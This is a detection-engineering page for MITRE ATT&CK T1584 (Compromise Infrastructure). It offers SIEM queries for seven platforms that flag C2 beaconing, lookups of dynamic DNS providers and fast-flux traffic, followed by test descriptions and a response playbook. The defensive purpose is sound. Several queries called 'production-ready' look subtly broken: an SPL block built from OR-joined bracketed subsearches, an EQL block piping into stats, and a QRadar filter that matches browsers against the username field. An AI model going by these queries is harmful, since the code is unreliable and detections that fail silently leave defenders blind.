Which SIEM platforms have a T1584 detection rule?

df00tech provides T1584 (Compromise Infrastructure) detection queries for 7 SIEM platforms: Microsoft Sentinel / Defender, Splunk, Elastic Security (EQL), IBM QRadar (AQL), Sumo Logic CSE, Google Chronicle / SecOps, CrowdStrike LogScale (CQL).

What data sources are required to detect Compromise Infrastructure (T1584)?

Detecting Compromise Infrastructure requires the following data sources: Microsoft Defender for Endpoint.

What severity and confidence is the T1584 detection?

The T1584 detection is rated high severity with medium confidence.

What are common false positives for T1584?

Common false positives for T1584 include: Legitimate software update services or telemetry agents making frequent connections to cloud infrastructure on shared hosting providers; VPN or proxy clients using dynamic DNS hostnames for legitimate enterprise connectivity; IT monitoring and RMM tools (e.g., ConnectWise, Kaseya) that beacon regularly to SaaS infrastructure hosted on major cloud ASNs.

T1584

Compromise Infrastructure

Resource Development Last updated: April 13, 2026

This detection identifies indicators that adversaries may be leveraging compromised third-party infrastructure — including domains, servers, DNS services, or web services — to conduct operations against the organization. Because T1584 is a PRE-ATT&CK technique focused on adversary preparation, direct detection is not possible at the moment of compromise; instead, this detection identifies downstream indicators: network connections to infrastructure with characteristics consistent with hijacked or recently compromised assets (domains with mismatched registrar history, IPs flagged in threat intelligence, DNS resolutions to newly re-pointed hostnames, and C2 beaconing patterns associated with known compromised-infrastructure campaigns). Alerts from this detection warrant investigation into whether the communicating endpoint has been targeted via phishing, drive-by compromise, or C2 channels routed through legitimate third-party infrastructure.

What is T1584 Compromise Infrastructure?

Compromise Infrastructure (T1584) maps to the Resource Development tactic — the adversary is trying to establish resources they can use to support operations in MITRE ATT&CK.

This page provides production-ready detection logic for Compromise Infrastructure, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic: Resource Development
Technique: T1584 Compromise Infrastructure
Canonical reference: https://attack.mitre.org/techniques/T1584/

Microsoft Sentinel / Defender

kusto

let SuspiciousASNs = dynamic(["AS14061", "AS16276", "AS24940", "AS20473", "AS9009"]);
let LookbackPeriod = 7d;
let BeaconingThreshold = 20;
// Part 1: Detect beaconing to infrastructure with suspicious characteristics
let BeaconingAlerts = DeviceNetworkEvents
| where Timestamp > ago(LookbackPeriod)
| where ActionType in ("ConnectionSuccess", "ConnectionAttempt")
| where RemotePort in (80, 443, 8080, 8443, 4443, 4444, 1080, 3128)
| where not(ipv4_is_private(RemoteIP))
| summarize
    ConnectionCount = count(),
    UniqueRemotePorts = dcount(RemotePort),
    BytesSent = sum(SentBytes),
    BytesReceived = sum(ReceivedBytes),
    FirstSeen = min(Timestamp),
    LastSeen = max(Timestamp),
    SampleProcesses = make_set(InitiatingProcessFileName, 5)
    by DeviceId, DeviceName, RemoteIP, RemoteUrl
| where ConnectionCount >= BeaconingThreshold
| where BytesSent > 1000
// Flag where beacon interval is highly regular (potential C2)
| extend DurationHours = datetime_diff('hour', LastSeen, FirstSeen)
| where DurationHours > 1
| extend BeaconRate = toreal(ConnectionCount) / toreal(DurationHours)
| where BeaconRate between (0.5 .. 200.0)
| extend AlertType = "PotentialBeaconing";
// Part 2: Detect DNS resolutions to IPs with poor reputation characteristics
let DNSSuspicious = DeviceNetworkEvents
| where Timestamp > ago(LookbackPeriod)
| where ActionType == "ConnectionSuccess"
| where isnotempty(RemoteUrl)
// Flag domains using dynamic DNS providers commonly abused for compromised infra
| where RemoteUrl matches regex @"(?i)(duckdns\.org|no-ip\.com|hopto\.org|ddns\.net|servebeer\.com|myftp\.biz|redirectme\.net|serveftp\.com|zapto\.org|sytes\.net|myddns\.me|dynalias\.com)"
| summarize
    ConnectionCount = count(),
    UniqueDevices = dcount(DeviceId),
    SampleProcesses = make_set(InitiatingProcessFileName, 5),
    SampleIPs = make_set(RemoteIP, 5)
    by RemoteUrl
| where ConnectionCount > 0
| extend AlertType = "SuspiciousDynamicDNS";
// Part 3: Detect connections from non-browser processes to domains with short TTLs (fast-flux)
let FastFlux = DeviceNetworkEvents
| where Timestamp > ago(LookbackPeriod)
| where ActionType == "ConnectionSuccess"
| where not(ipv4_is_private(RemoteIP))
| where InitiatingProcessFileName !in~ ("chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe", "safari", "opera.exe", "brave.exe")
| where InitiatingProcessFileName !in~ ("svchost.exe", "MsMpEng.exe", "SenseIR.exe", "MsSense.exe", "SenseCncProxy.exe")
| summarize
    UniqueIPs = dcount(RemoteIP),
    ConnectionCount = count(),
    DomainList = make_set(RemoteUrl, 10),
    ProcessList = make_set(InitiatingProcessFileName, 5)
    by DeviceId, DeviceName, bin(Timestamp, 1h)
| where UniqueIPs >= 5 and ConnectionCount >= 10
| extend AlertType = "PotentialFastFluxActivity";
// Union all alert types
BeaconingAlerts
| project Timestamp = LastSeen, DeviceName, RemoteIP, RemoteUrl, AlertType, ConnectionCount, BytesSent, BytesReceived, SampleProcesses
| union (
    DNSSuspicious
    | project Timestamp = now(), DeviceName = "Multiple", RemoteIP = tostring(SampleIPs[0]), RemoteUrl, AlertType, ConnectionCount, BytesSent = long(0), BytesReceived = long(0), SampleProcesses
)
| union (
    FastFlux
    | project Timestamp, DeviceName, RemoteIP = "", RemoteUrl = tostring(DomainList[0]), AlertType, ConnectionCount, BytesSent = long(0), BytesReceived = long(0), SampleProcesses = ProcessList
)
| sort by Timestamp desc

Detects three patterns consistent with adversary use of compromised infrastructure: (1) beaconing behavior from endpoints to external IPs at regular intervals with data transfer, indicative of C2 over hijacked servers; (2) DNS resolutions to known dynamic DNS providers commonly abused to proxy through compromised hosts; and (3) fast-flux-like behavior where non-browser processes rapidly connect to many distinct IPs, suggestive of botnet or compromised proxy network use.

high severity medium confidence

Data Sources

Microsoft Defender for Endpoint

Required Tables

DeviceNetworkEvents

False Positives

Legitimate software update services or telemetry agents making frequent connections to cloud infrastructure on shared hosting providers
VPN or proxy clients using dynamic DNS hostnames for legitimate enterprise connectivity
IT monitoring and RMM tools (e.g., ConnectWise, Kaseya) that beacon regularly to SaaS infrastructure hosted on major cloud ASNs
CDN-backed services with high IP rotation that may appear as fast-flux to endpoint telemetry
Developers running local tunneling tools (ngrok, localtunnel) that resolve to dynamic DNS entries

Splunk

spl

index=* (sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" OR sourcetype="stream:dns" OR sourcetype="stream:tcp")
| eval _time=strptime(UtcTime, "%Y-%m-%d %H:%M:%S.%3N")
| eval earliest_time=relative_time(now(), "-7d@d")
| where _time >= earliest_time
(
  [
  | search sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
  | eval dest_ip=DestinationIp, dest_port=DestinationPort, process=Image
  | where NOT match(dest_ip, "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.|::1|fd)")
  | where dest_port IN (80, 443, 4444, 4443, 8080, 8443, 1080, 3128, 9001, 9030)
  | where NOT match(process, "(?i)(chrome\.exe|firefox\.exe|msedge\.exe|iexplore\.exe|MsMpEng\.exe|svchost\.exe|SenseIR\.exe)")
  | stats count AS connection_count, dc(dest_ip) AS unique_ips, values(process) AS processes, min(_time) AS first_seen, max(_time) AS last_seen by Computer, dest_ip
  | where connection_count >= 20
  | eval duration_hours=round((last_seen - first_seen) / 3600, 2)
  | where duration_hours > 1
  | eval beacon_rate=round(connection_count / duration_hours, 2)
  | where beacon_rate > 0.5 AND beacon_rate < 200
  | eval alert_type="SuspiciousBeaconing"
  | table _time, Computer, dest_ip, connection_count, unique_ips, processes, beacon_rate, duration_hours, alert_type
  ]
  OR
  [
  | search sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=22
  | eval queried_domain=QueryName, process=Image
  | where match(queried_domain, "(?i)(duckdns\.org|no-ip\.com|hopto\.org|ddns\.net|servebeer\.com|myftp\.biz|redirectme\.net|zapto\.org|sytes\.net|myddns\.me|dynalias\.com|chickenkiller\.com|gotdns\.ch|crabdance\.com|ignorelist\.com)")
  | stats count AS query_count, dc(Computer) AS unique_hosts, values(process) AS processes, values(Computer) AS affected_hosts by queried_domain
  | where query_count >= 1
  | eval alert_type="SuspiciousDynamicDNSResolution"
  | eval _time=now()
  | table _time, queried_domain, query_count, unique_hosts, processes, affected_hosts, alert_type
  ]
  OR
  [
  | search sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
  | eval dest_ip=DestinationIp, process=Image, src_host=Computer
  | where NOT match(dest_ip, "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)")
  | where NOT match(process, "(?i)(chrome\.exe|firefox\.exe|msedge\.exe|iexplore\.exe|MsMpEng\.exe|svchost\.exe)")
  | bin _time span=1h
  | stats dc(dest_ip) AS unique_dest_ips, count AS total_connections, values(process) AS processes by src_host, _time
  | where unique_dest_ips >= 10 AND total_connections >= 20
  | eval alert_type="PotentialFastFluxOrBotnetActivity"
  | table _time, src_host, unique_dest_ips, total_connections, processes, alert_type
  ]
)
| sort - _time

Three-branch SPL detection using Sysmon Event ID 3 (Network Connection) and Event ID 22 (DNS Query): detects regular beaconing from non-browser processes to external IPs, DNS resolutions to dynamic DNS providers commonly used to re-point compromised infrastructure, and fast-flux-like behavior indicative of botnet or proxy network abuse through hijacked hosts.

high severity medium confidence

Data Sources

Sysmon Windows Event Logs

Required Sourcetypes

XmlWinEventLog:Microsoft-Windows-Sysmon/Operational

False Positives

RMM agents (ConnectWise, Kaseya, Datto) making frequent connections to cloud-hosted management infrastructure
Developers using dynamic DNS services (e.g., duckdns.org) for personal project hosting or lab environments
Software update checkers, game launchers, or peer-to-peer applications that connect to many distinct IPs over short periods
Security tools performing threat intelligence lookups or sandbox detonation queries against diverse external endpoints
VPN concentrators or split-tunnel clients that route through cloud hosting IPs matching ASN-based filters

Elastic Security (EQL)

eql

// Part 1: Beaconing detection
sequence by host.id, destination.ip with maxspan=7d
  [network where event.action in ("connection_attempted", "connection_accepted") and
   destination.port in (80, 443, 8080, 8443, 4443, 4444, 1080, 3128) and
   not cidr_match(destination.ip, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8") and
   not process.name in~ ("chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe", "safari", "opera.exe", "brave.exe", "svchost.exe", "MsMpEng.exe")] with runs=20

// Part 2: Dynamic DNS resolution
any where event.category == "network" and event.action == "lookup_requested" and
  dns.question.name rlike "(?i)(duckdns\.org|no-ip\.com|hopto\.org|ddns\.net|servebeer\.com|myftp\.biz|redirectme\.net|serveftp\.com|zapto\.org|sytes\.net|myddns\.me|dynalias\.com)"

// Part 3: Fast-flux (high unique IPs per process per hour)
network where event.action == "connection_attempted" and
  not cidr_match(destination.ip, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8") and
  not process.name in~ ("chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe", "MsMpEng.exe", "svchost.exe")
| stats count=count(), unique_ips=count_distinct(destination.ip) by host.name, process.name, @timestamp_bucket("1h")
| where unique_ips >= 5 and count >= 10

Detects T1584 Compromise Infrastructure indicators: C2 beaconing patterns (regular high-frequency connections to non-browser processes), DNS resolutions to known dynamic DNS providers abused for compromised infrastructure, and fast-flux activity (high unique destination IPs per process per hour) using Elastic ECS network and DNS events.

high severity medium confidence

Data Sources

Elastic Endpoint Winlogbeat with Sysmon Filebeat network module Packetbeat

Required Tables

logs-endpoint.events.network-* logs-windows.sysmon_operational-* packetbeat-* filebeat-*

False Positives

Legitimate software using dynamic DNS for home lab or developer environments (e.g., a developer testing a personal server on duckdns.org)
Security tools and vulnerability scanners performing high-frequency connections to many IPs
CDN-backed services or legitimate software updaters with many backend IPs that rotate frequently (fast-flux false positive)

IBM QRadar (AQL)

sql

-- Part 1: Beaconing - high frequency connections to same dest IP from non-browser process
SELECT
  DATEFORMAT(MIN(starttime), 'YYYY-MM-dd HH:mm:ss') AS first_seen,
  DATEFORMAT(MAX(starttime), 'YYYY-MM-dd HH:mm:ss') AS last_seen,
  sourceip,
  destinationip,
  destinationport,
  COUNT(*) AS connection_count,
  (MAX(starttime) - MIN(starttime)) / 3600000 AS duration_hours,
  ROUND(COUNT(*) / NULLIF((MAX(starttime) - MIN(starttime)) / 3600000, 0), 2) AS beacon_rate,
  'SuspiciousBeaconing' AS alert_type
FROM events
WHERE
  LOGSOURCETYPENAME(devicetype) IN ('Microsoft Windows Security Event Log', 'Sysmon')
  AND starttime > NOW() - 604800000
  AND destinationport IN (80, 443, 8080, 8443, 4443, 4444, 1080, 3128)
  AND NOT (destinationip ILIKE '10.%' OR destinationip ILIKE '172.16.%' OR destinationip ILIKE '192.168.%' OR destinationip = '127.0.0.1')
  AND username NOT ILIKE '%chrome%'
  AND username NOT ILIKE '%firefox%'
GROUP BY sourceip, destinationip, destinationport
HAVING connection_count >= 20
  AND duration_hours > 1
  AND beacon_rate BETWEEN 0.5 AND 200.0

UNION ALL

-- Part 2: Dynamic DNS resolutions
SELECT
  DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS first_seen,
  DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS last_seen,
  sourceip,
  destinationip,
  destinationport,
  COUNT(*) AS connection_count,
  0 AS duration_hours,
  0 AS beacon_rate,
  'SuspiciousDynamicDNS' AS alert_type
FROM events
WHERE
  LOGSOURCETYPENAME(devicetype) IN ('Microsoft Windows Security Event Log', 'Sysmon')
  AND starttime > NOW() - 604800000
  AND (LOWER(URL) ILIKE '%duckdns.org%'
    OR LOWER(URL) ILIKE '%no-ip.com%'
    OR LOWER(URL) ILIKE '%hopto.org%'
    OR LOWER(URL) ILIKE '%ddns.net%'
    OR LOWER(URL) ILIKE '%zapto.org%'
    OR LOWER(URL) ILIKE '%sytes.net%'
    OR LOWER(URL) ILIKE '%myddns.me%'
    OR LOWER(URL) ILIKE '%dynalias.com%')
GROUP BY starttime, sourceip, destinationip, destinationport
HAVING connection_count >= 1

UNION ALL

-- Part 3: Fast-flux / high unique destination IPs per source per hour
SELECT
  DATEFORMAT(TRUNC(starttime, 'HH'), 'YYYY-MM-dd HH:mm:ss') AS first_seen,
  DATEFORMAT(TRUNC(starttime, 'HH'), 'YYYY-MM-dd HH:mm:ss') AS last_seen,
  sourceip,
  'multiple' AS destinationip,
  0 AS destinationport,
  COUNT(*) AS connection_count,
  1 AS duration_hours,
  0 AS beacon_rate,
  'PotentialFastFlux' AS alert_type
FROM events
WHERE
  LOGSOURCETYPENAME(devicetype) IN ('Microsoft Windows Security Event Log', 'Sysmon')
  AND starttime > NOW() - 604800000
  AND NOT (destinationip ILIKE '10.%' OR destinationip ILIKE '172.16.%' OR destinationip ILIKE '192.168.%')
GROUP BY sourceip, TRUNC(starttime, 'HH')
HAVING UNIQUECOUNT(destinationip) >= 5 AND connection_count >= 10

ORDER BY first_seen DESC

Detects T1584 Compromise Infrastructure using three AQL queries unioned: (1) beaconing via high-frequency regular connections to the same destination IP from non-browser processes, (2) DNS resolutions or connections to known dynamic DNS providers abused for C2, and (3) fast-flux indicators via high unique destination IP counts per source per hour.

high severity medium confidence

Data Sources

QRadar Windows Security Event Log DSM QRadar Sysmon DSM QRadar DNS DSM QRadar Network Activity (flows)

Required Tables

events flows

False Positives

Automated software update mechanisms making frequent connections to CDN endpoints
IT management tools (RMM software) that legitimately connect to cloud management infrastructure at high frequency
Developers using dynamic DNS providers for legitimate home or lab infrastructure testing

Sumo Logic CSE

sql

// Part 1: Beaconing detection
(_sourceCategory=*windows* OR _sourceCategory=*sysmon*)
| where EventCode = "3" OR EventID = "3"
| parse field=DestinationIp "*" as dest_ip
| parse field=DestinationPort "*" as dest_port
| parse field=Image "*" as process_name
| where dest_port in ("80","443","8080","8443","4443","4444","1080","3128")
| where !dest_ip matches /^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)/
| where !process_name matches /(?i)(chrome\.exe|firefox\.exe|msedge\.exe|iexplore\.exe|MsMpEng\.exe|svchost\.exe|SenseIR\.exe)/
| timeslice 7d
| count as connection_count, pct(50, _messageTime) as median_time by Computer, dest_ip, dest_port, _timeslice
| where connection_count >= 20
| fields Computer, dest_ip, dest_port, connection_count
| "SuspiciousBeaconing" as alert_type

// Part 2: Dynamic DNS resolution
(_sourceCategory=*windows* OR _sourceCategory=*sysmon*)
| where EventCode = "22" OR EventID = "22"
| parse field=QueryName "*" as queried_domain
| parse field=Image "*" as process_name
| where queried_domain matches /(?i)(duckdns\.org|no-ip\.com|hopto\.org|ddns\.net|servebeer\.com|myftp\.biz|redirectme\.net|zapto\.org|sytes\.net|myddns\.me|dynalias\.com)/
| count as query_count, values(Computer) as affected_hosts, values(process_name) as processes by queried_domain
| where query_count >= 1
| "SuspiciousDynamicDNS" as alert_type
| fields queried_domain, query_count, affected_hosts, processes, alert_type

// Part 3: Fast-flux detection
(_sourceCategory=*windows* OR _sourceCategory=*sysmon*)
| where EventCode = "3" OR EventID = "3"
| parse field=DestinationIp "*" as dest_ip
| parse field=Image "*" as process_name
| where !dest_ip matches /^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)/
| where !process_name matches /(?i)(chrome\.exe|firefox\.exe|msedge\.exe|iexplore\.exe|MsMpEng\.exe|svchost\.exe)/
| timeslice 1h
| count as total_connections, dcount(dest_ip) as unique_dest_ips, values(process_name) as processes by Computer, _timeslice
| where unique_dest_ips >= 5 and total_connections >= 10
| "PotentialFastFlux" as alert_type
| fields Computer, _timeslice, unique_dest_ips, total_connections, processes, alert_type

Detects T1584 Compromise Infrastructure indicators in Sumo Logic using three sub-queries targeting Sysmon EventCode 3 (network connections) and EventCode 22 (DNS queries): beaconing via regular high-frequency connections, dynamic DNS provider resolution, and fast-flux activity via high unique destination IPs per hour per host.

high severity medium confidence

Data Sources

Sysmon via Windows Event Forwarding Windows Security Event Logs DNS query logs

Required Tables

_sourceCategory=*windows* _sourceCategory=*sysmon* _sourceCategory=*dns*

False Positives

Security scanning tools performing port sweeps or vulnerability assessments creating fast-flux-like patterns
Peer-to-peer software (legitimate torrent clients, VoIP) connecting to many unique IPs
SaaS software with highly distributed CDN backends causing many unique IP resolutions

Google Chronicle / SecOps

yaral

rule t1584_compromise_infrastructure_beaconing {
  meta:
    author = "Argus Detection Engineering"
    description = "Detects potential C2 beaconing via compromised third-party infrastructure (T1584). Identifies high-frequency regular connections from non-browser processes to external IPs on common C2 ports."
    mitre_attack_tactic = "Resource Development"
    mitre_attack_technique = "T1584"
    severity = "HIGH"
    confidence = "MEDIUM"

  events:
    $e.metadata.event_type = "NETWORK_CONNECTION"
    $e.network.direction = "OUTBOUND"
    $e.target.port in (80, 443, 8080, 8443, 4443, 4444, 1080, 3128)
    not net.ip_in_range_cidr($e.target.ip, "10.0.0.0/8")
    not net.ip_in_range_cidr($e.target.ip, "172.16.0.0/12")
    not net.ip_in_range_cidr($e.target.ip, "192.168.0.0/16")
    not net.ip_in_range_cidr($e.target.ip, "127.0.0.0/8")
    not re.regex($e.principal.process.file.full_path, `(?i)(chrome\.exe|firefox\.exe|msedge\.exe|iexplore\.exe|safari|opera\.exe|brave\.exe|svchost\.exe|MsMpEng\.exe)`)
    $e.principal.hostname = $hostname
    $e.target.ip = $dest_ip

  match:
    $hostname, $dest_ip over 1h

  outcome:
    $connection_count = count_distinct($e.metadata.id)
    $sample_processes = array_distinct($e.principal.process.file.full_path)
    $dest_ports = array_distinct($e.target.port)

  condition:
    #e >= 20
}

rule t1584_compromise_infrastructure_dynamic_dns {
  meta:
    author = "Argus Detection Engineering"
    description = "Detects DNS lookups to dynamic DNS providers commonly used for compromised infrastructure C2 channels (T1584)."
    mitre_attack_tactic = "Resource Development"
    mitre_attack_technique = "T1584"
    severity = "HIGH"
    confidence = "HIGH"

  events:
    $e.metadata.event_type = "NETWORK_DNS"
    re.regex($e.network.dns.questions.name, `(?i)(duckdns\.org|no-ip\.com|hopto\.org|ddns\.net|servebeer\.com|myftp\.biz|redirectme\.net|serveftp\.com|zapto\.org|sytes\.net|myddns\.me|dynalias\.com|chickenkiller\.com|gotdns\.ch)`)
    $e.principal.hostname = $hostname
    $e.network.dns.questions.name = $domain

  match:
    $hostname, $domain over 1h

  outcome:
    $query_count = count_distinct($e.metadata.id)
    $process_list = array_distinct($e.principal.process.file.full_path)

  condition:
    #e >= 1
}

rule t1584_compromise_infrastructure_fast_flux {
  meta:
    author = "Argus Detection Engineering"
    description = "Detects fast-flux network behavior from non-browser processes — high count of unique destination IPs over a short period, consistent with botnet C2 via compromised infrastructure (T1584)."
    mitre_attack_tactic = "Resource Development"
    mitre_attack_technique = "T1584"
    severity = "MEDIUM"
    confidence = "MEDIUM"

  events:
    $e.metadata.event_type = "NETWORK_CONNECTION"
    not net.ip_in_range_cidr($e.target.ip, "10.0.0.0/8")
    not net.ip_in_range_cidr($e.target.ip, "172.16.0.0/12")
    not net.ip_in_range_cidr($e.target.ip, "192.168.0.0/16")
    not re.regex($e.principal.process.file.full_path, `(?i)(chrome\.exe|firefox\.exe|msedge\.exe|iexplore\.exe|MsMpEng\.exe|svchost\.exe)`)
    $e.principal.hostname = $hostname
    $e.principal.process.file.full_path = $proc

  match:
    $hostname, $proc over 1h

  outcome:
    $unique_dest_ips = count_distinct($e.target.ip)
    $total_connections = count_distinct($e.metadata.id)
    $dest_ip_list = array_distinct($e.target.ip)

  condition:
    #e >= 10 and $unique_dest_ips >= 5
}

Three Chronicle YARA-L 2.0 rules detecting T1584 Compromise Infrastructure: (1) C2 beaconing via high-frequency outbound connections from non-browser processes to common C2 ports, (2) DNS resolutions to known dynamic DNS providers used for compromised infrastructure C2, and (3) fast-flux activity via high unique destination IP counts from non-browser processes.

high severity medium confidence

Data Sources

Chronicle UDM - Network Events Chronicle UDM - DNS Events Google Workspace / Chrome Enterprise Windows Event Forwarding to Chronicle

Required Tables

NETWORK_CONNECTION UDM events NETWORK_DNS UDM events

False Positives

Legitimate use of dynamic DNS by developers or home lab operators for personal services
Network monitoring or asset inventory tools performing high-frequency scans to many IPs
Load-balanced cloud services with many backend IPs causing fast-flux-like DNS patterns

CrowdStrike LogScale (CQL)

cql

// Part 1: Beaconing from non-browser processes
#event_simpleName = NetworkConnectIP4
| !cidrMatch(field=RemoteAddressIP4, subnet=["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8"])
| RemotePort in [80, 443, 8080, 8443, 4443, 4444, 1080, 3128]
| !match(field=ImageFileName, values=["*chrome.exe", "*firefox.exe", "*msedge.exe", "*iexplore.exe", "*MsMpEng.exe", "*svchost.exe", "*SenseIR.exe"])
| groupBy([ComputerName, RemoteAddressIP4, RemotePort, ImageFileName], function=[
    count(as=connection_count),
    min(timestamp, as=first_seen),
    max(timestamp, as=last_seen)
  ])
| eval duration_hours := (last_seen - first_seen) / 3600000
| where duration_hours > 1
| eval beacon_rate := connection_count / duration_hours
| where connection_count >= 20
| where beacon_rate >= 0.5 AND beacon_rate <= 200.0
| eval alert_type := "SuspiciousBeaconing"
| table [ComputerName, RemoteAddressIP4, RemotePort, ImageFileName, connection_count, beacon_rate, duration_hours, alert_type]
| sort(first_seen, order=desc)

// Part 2: Dynamic DNS resolutions
#event_simpleName = DnsRequest
| match(field=DomainName, regex="(?i)(duckdns\.org|no-ip\.com|hopto\.org|ddns\.net|servebeer\.com|myftp\.biz|redirectme\.net|zapto\.org|sytes\.net|myddns\.me|dynalias\.com|chickenkiller\.com|gotdns\.ch)")
| groupBy([DomainName], function=[
    count(as=query_count),
    count(ComputerName, distinct=true, as=unique_hosts),
    collect(ComputerName, as=affected_hosts),
    collect(ContextImageFileName, as=processes)
  ])
| eval alert_type := "SuspiciousDynamicDNSResolution"
| table [DomainName, query_count, unique_hosts, affected_hosts, processes, alert_type]

// Part 3: Fast-flux / high unique destination IPs
#event_simpleName = NetworkConnectIP4
| !cidrMatch(field=RemoteAddressIP4, subnet=["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8"])
| !match(field=ImageFileName, values=["*chrome.exe", "*firefox.exe", "*msedge.exe", "*iexplore.exe", "*MsMpEng.exe", "*svchost.exe"])
| bucket(field=timestamp, span=1h, as=time_bucket)
| groupBy([ComputerName, ImageFileName, time_bucket], function=[
    count(RemoteAddressIP4, distinct=true, as=unique_dest_ips),
    count(as=total_connections),
    collect(ImageFileName, as=process_list)
  ])
| where unique_dest_ips >= 5 AND total_connections >= 10
| eval alert_type := "PotentialFastFlux"
| table [ComputerName, ImageFileName, time_bucket, unique_dest_ips, total_connections, alert_type]
| sort(time_bucket, order=desc)

Three CrowdStrike LogScale (CQL) queries detecting T1584 Compromise Infrastructure using Falcon telemetry: (1) C2 beaconing via regular high-frequency NetworkConnectIP4 events from non-browser processes to common C2 ports, (2) DnsRequest events for known dynamic DNS providers used in compromised infrastructure campaigns, and (3) fast-flux detection via high unique destination IP counts per process per hour.

high severity medium confidence

Data Sources

CrowdStrike Falcon Endpoint Agent Falcon NetworkConnectIP4 events Falcon DnsRequest events Falcon ProcessRollup2 events

Required Tables

NetworkConnectIP4 DnsRequest ProcessRollup2

False Positives

Falcon sensor itself or other EDR tools generating high-frequency network connections during scans
Legitimate software using dynamic DNS for development or testing (e.g., dev environments with personal DDNS)
VPN client software or proxy tools connecting to many IPs during setup or rotation

Sigma rule & cross-platform mapping

The detection logic for Compromise Infrastructure (T1584) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for T1584 Sigma rules on detection.fyi

Platform-specific guides for T1584

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)

Last updated: 2026-04-13 Research depth: deep

References (5)

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

Test 1Simulate C2 Beaconing to Compromised VPS Infrastructure
Expected signal: Sysmon Event ID 3 (Network Connection) from powershell.exe to TARGET_IP on port 8080, firing at regular 30-second intervals. DeviceNetworkEvents in Defender for Endpoint will show repeated ConnectionSuccess events from PowerShell to the destination IP.
Test 2DNS Resolution to Dynamic DNS Provider Domain
Expected signal: Sysmon Event ID 22 (DNS Query) entries for each domain in the $suspiciousDomains list. The Image field will show powershell.exe or the parent process. QueryName will contain the duckdns.org / ddns.net / hopto.org domains.
Test 3Simulate Fast-Flux Connection Pattern from Non-Browser Process
Expected signal: Sysmon Event ID 3 (Network Connection) events from powershell.exe to 10+ distinct destination IPs on port 80, all occurring within a short time window. DeviceNetworkEvents will show ConnectionAttempt or ConnectionSuccess entries for each target IP.

Response Playbook

Triage

Step 1: Identify the specific alert type fired (beaconing, dynamic DNS, or fast-flux). Pull the full DeviceNetworkEvents log for the affected device and remote IP/domain, spanning -24h to now.
Step 2: For beaconing alerts — calculate the standard deviation of inter-connection intervals. Highly regular intervals (low stddev) are strong C2 indicators. Irregular but frequent connections are more likely legitimate.
Step 3: Resolve the remote IP or domain through an external threat intelligence platform (VirusTotal, Shodan, Censys, or internal TIP). Check: age of domain, registrar, hosting ASN, passive DNS history showing recent IP re-pointing, any malware family associations.
Step 4: Identify the initiating process: check parent process tree (DeviceProcessEvents joined on InitiatingProcessId). A browser or system process spawning an unexpected child that then beacons is high priority. PowerShell, wscript, mshta, or LOLBins as the beaconing process are critical.
Step 5: Check if the remote IP appears in any other organization endpoints' connection logs. Lateral spread across multiple devices connecting to the same compromised infrastructure indicates active campaign, not isolated incident.
Step 6: Review the payload size pattern. C2 over compromised servers often shows small outbound (heartbeat), medium inbound (tasking) pattern. Exfiltration shows large outbound bursts. Document byte totals for BytesSent vs BytesReceived.
Step 7: For dynamic DNS alerts — determine if the resolving process is expected to use that domain. Developer tools may legitimately use duckdns; check with the device owner before escalating.
Step 8: Query SecurityEvent table for 4624/4625 logon events on the affected device in the same window. Concurrent authentication anomalies alongside network beaconing elevate severity.

Containment

If the device shows confirmed beaconing with no known-legitimate explanation: isolate via Microsoft Defender for Endpoint using 'Isolate device' action from the device portal, preserving the ability to continue investigation remotely.
Block the remote IP and domain at the network perimeter (firewall, proxy, DNS RPZ) and document the block with ticket reference. Do NOT silently block without documentation — the block may disrupt ongoing investigation visibility.
If the compromised infrastructure is hosted on a known provider (e.g., DigitalOcean, Linode, Hetzner), consider reporting the abuse to the hosting provider via their abuse channel. This may disrupt the adversary's infrastructure for the broader campaign.
Revoke and rotate credentials for any service accounts or user accounts whose processes were identified as beaconing. Check for credential access techniques (T1003, T1552) that may have preceded this activity.
For dynamic DNS abuse: submit the domain to the dynamic DNS provider's abuse report form. Major providers (No-IP, DuckDNS) respond to abuse reports and can suspend malicious hostnames.

Evidence Collection

Export full network event log for affected device: DeviceNetworkEvents | where DeviceId == '<id>' | where Timestamp between (ago(7d) .. now()) — save as CSV for forensic preservation.
Collect process memory dump of the beaconing process if the endpoint agent supports it. Memory will contain decoded C2 configuration, encryption keys, and potentially staged payloads.
Export DNS cache from the affected endpoint: `ipconfig /displaydns > dns_cache.txt` — captures recently resolved hostnames including any fast-flux resolution history.
